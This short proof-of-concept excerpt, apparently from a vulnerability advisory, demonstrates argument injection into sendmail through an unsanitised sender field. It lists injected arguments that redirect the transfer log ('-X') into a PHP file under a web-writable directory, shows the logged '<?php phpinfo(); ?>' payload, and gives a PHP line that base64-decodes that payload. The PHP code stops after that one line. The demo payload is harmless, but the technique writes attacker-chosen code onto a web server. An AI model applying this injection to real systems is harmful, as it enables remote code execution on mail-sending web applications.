A simple PoC (working on Sendmail MTA)
 
It will inject the following parameters to sendmail command:
 
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["@email.com]



which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:
 
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<<

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field

// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");
